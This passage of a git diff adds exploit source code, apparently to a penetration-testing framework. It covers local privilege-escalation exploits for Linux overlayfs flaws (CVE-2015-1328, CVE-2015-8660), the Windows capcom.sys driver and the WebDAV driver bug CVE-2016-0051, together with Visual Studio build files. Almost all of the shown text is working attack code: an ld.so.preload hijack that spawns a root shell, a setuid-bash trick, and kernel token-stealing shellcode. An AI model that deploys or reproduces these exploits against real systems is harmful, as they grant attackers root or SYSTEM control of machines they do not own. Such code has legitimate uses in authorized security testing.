write(lib,LIB,strlen(LIB)); + close(lib); + lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); + if(lib != 0) { + fprintf(stderr,"couldn't create dynamic library\n"); + exit(-1); + }*/ + write(fd,"/tmp/ofs-lib.so\n",16); + close(fd); + system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); + execl("/bin/su","su",NULL); +} + diff --git a/external/source/exploits/CVE-2015-1328/ofs-lib.c b/external/source/exploits/CVE-2015-1328/ofs-lib.c new file mode 100644 index 0000000000..0f96c54371 --- /dev/null +++ b/external/source/exploits/CVE-2015-1328/ofs-lib.c @@ -0,0 +1,16 @@ +#include + +uid_t(*_real_getuid) (void); +char path[128]; + +uid_t getuid(void){ + _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid"); + readlink("/proc/self/exe", (char *) &path, 128); + if(geteuid() == 0 && !strcmp(path, "/bin/su")) { + unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so"); + setresuid(0, 0, 0); + setresgid(0, 0, 0); + execle("/bin/sh", "sh", "-i", NULL, NULL); + } + return _real_getuid(); +} diff --git a/external/source/exploits/CVE-2015-8660/8660.c b/external/source/exploits/CVE-2015-8660/8660.c new file mode 100644 index 0000000000..432368a108 --- /dev/null +++ b/external/source/exploits/CVE-2015-8660/8660.c @@ -0,0 +1,78 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static char child_stack[1024*1024]; + +static int +child_exec(void *stuff) +{ + system("rm -rf /tmp/haxhax"); + mkdir("/tmp/haxhax", 0777); + mkdir("/tmp/haxhax/w", 0777); + mkdir("/tmp/haxhax/u",0777); + mkdir("/tmp/haxhax/o",0777); + + if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { + fprintf(stderr,"mount failed..\n"); + } + + chmod("/tmp/haxhax/w/work",0777); + chdir("/tmp/haxhax/o"); + chmod("bash",04755); + chdir("/"); + umount("/tmp/haxhax/o"); + return 0; +} + +int +main(int argc, char **argv) +{ + int status; + pid_t wrapper, init; + int clone_flags = CLONE_NEWNS | SIGCHLD; + struct stat s; + + if((wrapper = fork()) == 0) { + if(unshare(CLONE_NEWUSER) != 0) + fprintf(stderr, "failed to create new user namespace\n"); + + if((init = fork()) == 0) { + pid_t pid = + clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); + if(pid < 0) { + fprintf(stderr, "failed to create new mount namespace\n"); + exit(-1); + } + + waitpid(pid, &status, 0); + + } + + waitpid(init, &status, 0); + return 0; + } + + usleep(300000); + + wait(NULL); + + stat("/tmp/haxhax/u/bash",&s); + + if(s.st_mode == 0x89ed) + execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); + + fprintf(stderr,"couldn't create suid :(\n"); + return -1; +} diff --git a/external/source/exploits/capcom_sys_exec/.gitignore b/external/source/exploits/capcom_sys_exec/.gitignore new file mode 100755 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln b/external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln new file mode 100755 index 0000000000..fb52f1921d --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec.sln @@ -0,0 +1,19 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "capcom_sys_exec", "capcom_sys_exec\capcom_sys_exec.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c new file mode 100755 index 0000000000..5023420aac --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c @@ -0,0 +1,110 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#include "kernel.h" + +DWORD WINAPI execute_payload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +DWORD WINAPI capcom_sys_exec(LPVOID lpPayload) +{ + const DWORD PwnControlCode = 0xAA013044; + HANDLE driver = INVALID_HANDLE_VALUE; + PBYTE payload = NULL; + + do + { + if (!is_driver_loaded(L"capcom.sys")) + { + break; + } + + if (!prepare_for_kernel()) + { + break; + } + + // Get a handle to the capcom.sys driver. + driver = CreateFile(TEXT("\\\\.\\Htsysm72FB"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (driver == INVALID_HANDLE_VALUE) + { + break; + } + + // get a payload read that should cause it to weep + BYTE payloadTemplate[] = + { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the CALL will be set here too + 0xE8, 0x08, 0x00, 0x00, 0x00, // CALL $+8 (causes push of address of steal token) + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Pointer to the token stealer will go here + 0x58, // POP RAX - get the address containing the steal token func + 0xFF, 0x20 // JMP [RAX] - call the steal token function + }; + + payload = VirtualAlloc(0, sizeof(payloadTemplate) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + if (payload == NULL) + { + break; + } + + // copy the template into the target buffer + memcpy(payload, payloadTemplate, sizeof(payloadTemplate)); + + // update the template with the relevent info + *(PULONG_PTR)payload = (ULONG_PTR)(payload + 8); // point the first 8 bytes to the second 8 bytes + *(PULONG_PTR)(payload + 13) = (ULONG_PTR)steal_process_token; // insert the token stealer address + + ULONG_PTR target = (ULONG_PTR)(payload + 8); + DWORD bytesReturned = 0; + DeviceIoControl(driver, PwnControlCode, &target, 8, payload, 4, &bytesReturned, NULL); + + if (was_token_replaced() && lpPayload) + { + execute_payload(lpPayload); + } + + } while (0); + + if (payload != NULL) + { + VirtualFree(payload, 0, MEM_RELEASE); + } + + if (driver != INVALID_HANDLE_VALUE) + { + CloseHandle(driver); + } + + return 0; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + capcom_sys_exec(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj new file mode 100755 index 0000000000..f9212f3562 --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.vcxproj @@ -0,0 +1,107 @@ + + + + + Release + x64 + + + + + + + + + + + + {a67ba207-7aac-4850-beb1-e7fa07bac0b1} + capcom_sys_exec + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + $(VC_IncludePath);$(WindowsSdk_71A_IncludePath);../../../win_kernel_common + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CAPCOM_SYS_EXEC_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + psapi.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\capcom_sys_exec.map + Windows + + + + + false + + + $(OutDir)\capcom_sys_exec.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\capcom_sys_exec\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\capcom_sys_exec\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\capcom_sys_exec\" + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/capcom_sys_exec/make.msbuild b/external/source/exploits/capcom_sys_exec/make.msbuild new file mode 100755 index 0000000000..cd93d76f5c --- /dev/null +++ b/external/source/exploits/capcom_sys_exec/make.msbuild @@ -0,0 +1,17 @@ + + + + .\capcom_sys_exec.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/cve-2016-0051/dll/ReflectiveDll.c b/external/source/exploits/cve-2016-0051/dll/ReflectiveDll.c new file mode 100755 index 0000000000..024ea0b66f --- /dev/null +++ b/external/source/exploits/cve-2016-0051/dll/ReflectiveDll.c @@ -0,0 +1,424 @@ +/* + requires: + Reflective DLL Injection solution by Stephen Fewer + https://github.com/stephenfewer/ReflectiveDLLInjection + + compiles with: + Visual Studio 2013 +*/ +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "defs.h" +#include "ReflectiveLoader.h" + +#pragma comment(lib, "ws2_32.lib") +#pragma comment(lib, "mpr.lib") + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) + +DWORD wdServ(SIZE_T port); +PVOID GetNativeAPI(CHAR *funcName); +PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName); +static VOID execPayload(LPVOID lpPayload); +NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2); + +_ZwOpenProcess pZwOpenProcess = NULL; +_ZwOpenProcessToken pZwOpenProcessToken = NULL; +_ZwDuplicateToken pZwDuplicateToken = NULL; +_ZwSetInformationProcess pZwSetInformationProcess = NULL; +_ZwClose pZwClose = NULL; +_PsLookupProcessByProcessId pPsLookupProcessByProcessId; + +PSYSTEM_MODULE_INFORMATION pModuleInfo; +CHAR *KI = 0; // kernel image name +PVOID *KB = 0; // kernel base address + +BOOL DROP_THE_MIC = FALSE; + +extern HINSTANCE hAppInstance; + +static VOID execPayload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return; +} + +DWORD wdServ(SIZE_T port) { + TCHAR client_data[1500]; + struct sockaddr_in server; + struct sockaddr_in client; + SOCKET s1, s2; + SYSTEMTIME st; + WSADATA ws; + int c = sizeof(struct sockaddr_in), test = 0; + SIZE_T len = 0; + SIZE_T recv_size = 0; + time_t _tm; + struct tm *curtime; + CHAR *buf, *resp, *token, *token2, *timebuf; + + if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) { + exit(1); + } + + if ((s1 = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { + exit(1); + } + + server.sin_family = AF_INET; + server.sin_addr.s_addr = INADDR_ANY; + server.sin_port = htons(port); + + if (bind(s1, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) { + exit(1); + } + + listen(s1, 3); + + while (1) { + s2 = accept(s1, (struct sockaddr *)&client, &c); + + if (s2 == INVALID_SOCKET) { + exit(1); + } + + /* get stuff from client */ + + if ((recv_size = recv(s2, client_data, 1500, 0)) == SOCKET_ERROR) { + exit(1); + } + + token = strtok(client_data, " \r\n"); + + if (token != NULL) { + if (strncmp(token, "OPTIONS", 7) == 0) { + buf = (char *)calloc(3000, 1); + + len += sprintf(buf + len, "HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n"); + + memset(client_data, 0, 1500); + send(s2, buf, strlen(buf), 0); + free(buf); + len = 0; + } + else if (strncmp(token, "PROPFIND", 8) == 0) { + buf = (char *)calloc(3000, 1); + resp = (char *)calloc(3500, 1); + timebuf = (char *)calloc(256, 1); + + token2 = strtok(NULL, " "); + GetSystemTime(&st); + _tm = time(NULL); + curtime = localtime(&_tm); + + sprintf(timebuf, "%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); + + len += sprintf(buf + len, "\r\n"); + len += sprintf(buf + len, "\r\n"); + len += sprintf(buf + len, "\r\n"); + len += sprintf(buf + len, "\t%s\r\n", token2); + len += sprintf(buf + len, "\t\r\n"); + len += sprintf(buf + len, "\t\t\r\n"); + len += sprintf(buf + len, "\t\t%sZ\r\n", timebuf); + len += sprintf(buf + len, "\t\t0\r\n"); + len += sprintf(buf + len, "\t\t\r\n"); + len += sprintf(buf + len, "\t\t\r\n"); + memset(timebuf, 0, sizeof(timebuf)); + sprintf(timebuf, "%.3s, %02d %02d %04d %02d:%02d:%02d GMT", asctime(curtime), st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond); // needs to look like Fri, 11 Mar 2016 20:39:35 GMT + len += sprintf(buf + len, "\t\t%s\r\n", timebuf); + + if (strstr(token2, "file") != NULL) { + len += sprintf(buf + len, "\t\t\r\n"); + } + else { + len += sprintf(buf + len, "\t\t\r\n"); + } + len += sprintf(buf + len, "\t\t\r\n"); + len += sprintf(buf + len, "\t\t0\r\n"); + len += sprintf(buf + len, "\t\t\r\n"); + len += sprintf(buf + len, "\t\tHTTP/1.1 200 OK\r\n"); + len += sprintf(buf + len, "\t\r\n"); + len += sprintf(buf + len, "\r\n"); + len += sprintf(buf + len, "\r\n"); + + len = 0; + len += sprintf(resp + len, "HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: %d\r\nContent-Type: text/xml\r\n\r\n", strlen(buf)); + len += sprintf(resp + len, buf); + send(s2, resp, strlen(resp), 0); + memset(client_data, 0, 1500); + free(buf); + free(resp); + free(timebuf); + len = 0; + } + else { + buf = (char *)calloc(3000, 1); + /* request not matched */ + len += sprintf(buf + len, "HTTP/1.1 500 Internal Server Error\r\n\r\n"); + send(s2, buf, strlen(buf), 0); + memset(client_data, 0, 1500); + free(buf); + len = 0; + } + } + + /* done at this point */ + closesocket(s2); + } + return 0; +} + +PVOID GetNativeAPI(CHAR *funcName) { + return GetProcAddress(GetModuleHandle("ntdll"), funcName); +} + +PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName) { + PVOID addr = NULL; + HMODULE hModule = NULL; + + hModule = LoadLibraryExA(kernelImage, 0, DONT_RESOLVE_DLL_REFERENCES); + if (hModule) { + addr = GetProcAddress(hModule, funcName); + if (addr) { + addr = (PVOID)((PUCHAR)addr - (PUCHAR)hModule + (PUCHAR)kernelBase); + } + } + // printf("[+] DEBUG: %s @ 0x%08x\n", funcName, addr); + return addr; +} + +/* + the idea for this came from a blog post by j00ru +*/ + +NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2) +{ + OBJECT_ATTRIBUTES ObjectAttributes; + HANDLE hSystem = NULL, hToken = NULL, hNewToken = NULL; + CLIENT_ID ClientId = { (HANDLE)4, NULL }; + PROCESS_ACCESS_TOKEN AccessToken; + NTSTATUS NtStatus; + PDWORD CurrentProcess = NULL; + PDWORD off = NULL; + DWORD kFlags2Offset = 0x26c; + DWORD kFlags2, origFlags2, currPid = 0; + PEPROCESS myEP, systemEP; + + /* Disable the EPROCESS->Flags2 PrimaryTokenFrozen flag */ + + currPid = GetCurrentProcessId(); + NtStatus = pPsLookupProcessByProcessId((HANDLE)currPid, &myEP); + NtStatus = pPsLookupProcessByProcessId((HANDLE)4, &systemEP); + kFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset); + origFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset); + kFlags2 = kFlags2 ^ (1 << 15); + + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + NtStatus = pZwOpenProcess(&hSystem, GENERIC_ALL, &ObjectAttributes, &ClientId); + if (!NT_SUCCESS(NtStatus)) { + goto err; + } + + NtStatus = pZwOpenProcessToken(hSystem, GENERIC_ALL, &hToken); + if (!NT_SUCCESS(NtStatus)) { + return STATUS_UNSUCCESSFUL; + } + + InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); + NtStatus = pZwDuplicateToken(hToken, + TOKEN_ALL_ACCESS, + &ObjectAttributes, + TRUE, + TokenPrimary, + &hNewToken + ); + if (!NT_SUCCESS(NtStatus)) { + goto err; + } + + AccessToken.Token = hNewToken; + AccessToken.Thread = NULL; + + /* turn flag off */ + *(PDWORD *)((PBYTE)myEP + kFlags2Offset) = kFlags2; + NtStatus = pZwSetInformationProcess((HANDLE)-1, + ProcessAccessToken, + &AccessToken, + sizeof(PROCESS_ACCESS_TOKEN)); + /* turn flag back on because reasons */ + *(PDWORD)(myEP + kFlags2Offset) = origFlags2; + if (!NT_SUCCESS(NtStatus)) { + goto err; + } + DROP_THE_MIC = TRUE; +err: + if (hNewToken != NULL) { + pZwClose(hNewToken); + } + if (hToken != NULL) { + pZwClose(hToken); + } + if (hSystem != NULL) { + pZwClose(hSystem); + } + + return 31337; +} + +int doWork(LPVOID lpPayload) +{ + HANDLE hThread, hFile; + IO_STATUS_BLOCK IoStatusBlock; + ULONG len = 0, inputLen = 24, outputLen = 4; + DWORD allocSize = 0x4000; + DWORD allocAddr = 0x00000001; + NTSTATUS ntRet; + NETRESOURCE nr, *pnr; + _NtQuerySystemInformation pNtQuerySystemInformation; + _NtAllocateVirtualMemory pNtAllocateVirtualMemory; + _NtFsControlFile pNtFsControlFile; + SIZE_T port, remoteNameLen = 0; + DWORD wnacRes, *inputPtr, *outputPtr; + PBAD_DEVICE_OBJECT pBadDeviceObject; + char remoteName[64]; + char cfName[64]; + + /* gather info and such */ + + memset(remoteName, 0, sizeof(remoteName)); + memset(cfName, 0, sizeof(cfName)); + memset(&IoStatusBlock, 0, sizeof(IoStatusBlock)); + + pNtQuerySystemInformation = (_NtQuerySystemInformation)GetNativeAPI("NtQuerySystemInformation"); + if (!pNtQuerySystemInformation) { + exit(1); + } + + pNtFsControlFile = (_NtFsControlFile)GetNativeAPI("NtFsControlFile"); + if (!pNtFsControlFile) { + exit(1); + } + + pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetNativeAPI("NtAllocateVirtualMemory"); + if (!pNtAllocateVirtualMemory) { + exit(1); + } + + pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len); + pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); + pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, &pModuleInfo, sizeof(pModuleInfo), NULL); + ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len); + if (!ntRet) { + exit(1); + } + pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); + ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len); + + KB = (PVOID *)pModuleInfo->Modules[0].ImageBase; + KI = (CHAR *)pModuleInfo->Modules[0].FullPathName + pModuleInfo->Modules[0].OffsetToFileName; + + /* finishing information gathering */ + + pZwOpenProcess = (_ZwOpenProcess)GetKernelAPI(KI, KB, "ZwOpenProcess"); + pZwOpenProcessToken = (_ZwOpenProcessToken)GetKernelAPI(KI, KB, "ZwOpenProcessToken"); + pZwDuplicateToken = (_ZwDuplicateToken)GetKernelAPI(KI, KB, "ZwDuplicateToken"); + pZwSetInformationProcess = (_ZwSetInformationProcess)GetKernelAPI(KI, KB, "ZwSetInformationProcess"); + pZwClose = (_ZwClose)GetKernelAPI(KI, KB, "ZwClose"); + pPsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernelAPI(KI, KB, "PsLookupProcessByProcessId"); + + /* start setting up the trigger */ + + srand(time(NULL)); + port = (rand() % (60000 - 5000)) + 5000; + + //printf("[+] Allocating page at 0x00000000 ...\n"); + ntRet = pNtAllocateVirtualMemory((HANDLE)-1, (LPVOID)&allocAddr, 0, &allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (ntRet != 0) { + //printf("[-] NtAllocateVirtualMemory error. Status = 0x%08x\n\n", ntRet); + exit(1); + } + + pBadDeviceObject = (PBAD_DEVICE_OBJECT)GlobalAlloc(GMEM_ZEROINIT, sizeof(BAD_DEVICE_OBJECT)); + + //printf("[+] Building fake DEVICE_OBJECT ...\n"); + pBadDeviceObject->addrPtr = (DWORD)0x00000010; + pBadDeviceObject->evilAddr = (ULONG)&tokenTwiddler; + memcpy((PVOID)0x00, pBadDeviceObject, sizeof(BAD_DEVICE_OBJECT)); + + //printf("[+] Starting WebDAV server on port %d\n", port); + hThread = (HANDLE)_beginthread((void *)wdServ, 0, (void *)port); + //printf("[+] WebDAV thread started, back in main()\n"); + memset(&nr, 0, sizeof(NETRESOURCE)); + sprintf(remoteName, "\\\\127.0.0.1@%d\\folder\\", port); + sprintf(cfName, "\\\\127.0.0.1@%d\\folder\\file", port); + + pnr = &nr; + pnr->dwScope = 0; + pnr->dwType = 0; + pnr->dwDisplayType = 0; + pnr->dwUsage = 0; + pnr->lpLocalName = NULL; + pnr->lpRemoteName = (LPSTR)&remoteName[0]; + pnr->lpComment = NULL; + pnr->lpProvider = NULL; + + wnacRes = WNetAddConnection2(&nr, NULL, NULL, (DWORD)0); + +// printf("[+] WNetAddConnection2 result: 0x%08x\n", wnacRes); + if (wnacRes != 0) { +// printf("WNetAddConnection2 failed ... wtf\n"); + exit(1); + } + + hFile = CreateFileA(cfName, FILE_ATTRIBUTE_NORMAL, (DWORD)7, NULL, (DWORD)3, (DWORD)0, NULL); + inputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, inputLen); + outputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, outputLen); + +// printf("Calling NtFsControlFile ...\n"); + ntRet = pNtFsControlFile(hFile, 0, 0, 0, &IoStatusBlock, 0x900DB, inputPtr, inputLen, outputPtr, outputLen); +// printf("[+] NtFsControlFile result: 0x%08x\n", ntRet); + + if (DROP_THE_MIC == TRUE) { + execPayload(lpPayload); + } + else { + /* nothing to do */ + } +// printf("[+] Done, cya ...\n"); + return 0; +} + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + doWork(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2016-0051/dll/defs.h b/external/source/exploits/cve-2016-0051/dll/defs.h new file mode 100755 index 0000000000..1f08c6525f --- /dev/null +++ b/external/source/exploits/cve-2016-0051/dll/defs.h @@ -0,0 +1,129 @@ +#pragma once +#define STATUS_UNSUCCESSFUL 0xC0000001 + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +enum { SystemModuleInformation = 11 }; +enum { ProcessAccessToken = 0x09 }; + +typedef PVOID *PEPROCESS; + +typedef PEPROCESS(WINAPI *_PsGetCurrentProcess)(void); + +typedef ULONG(__cdecl *_DbgPrintEx)(_In_ ULONG ComponentId, _In_ ULONG Level, PCHAR Format, ...); + +typedef struct { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef NTSTATUS(WINAPI *_NtFsControlFile)( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG FsControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength + ); + +typedef NTSTATUS(WINAPI *_NtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +typedef NTSTATUS(WINAPI *_ZwOpenProcess)( + PHANDLE ProcessHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PCLIENT_ID ClientId + ); + +typedef NTSTATUS(WINAPI *_ZwDuplicateToken)( + HANDLE ExistingTokenHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + BOOLEAN EffectiveOnly, + TOKEN_TYPE TokenType, + PHANDLE NewTokenHandle + ); + +typedef NTSTATUS(WINAPI *_ZwOpenProcessToken)( + HANDLE ProcessHandle, + ACCESS_MASK DesiredAccess, + PHANDLE TokenHandle + ); + +typedef NTSTATUS(WINAPI *_ZwSetInformationProcess)( + HANDLE ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength + ); + + +typedef DWORD(WINAPI *_NtAllocateVirtualMemory)( + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG ZeroBits, + PULONG RegionSize, + ULONG AllocationType, + ULONG Protect + ); + +typedef NTSTATUS(WINAPI *_PsLookupProcessByProcessId)( + _In_ HANDLE ProcessId, + _Out_ PEPROCESS *Process + ); + +typedef BOOL(WINAPI *_ZwClose)( + _In_ HANDLE hObject + ); + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +/* Hacked up from Process Hacker source */ 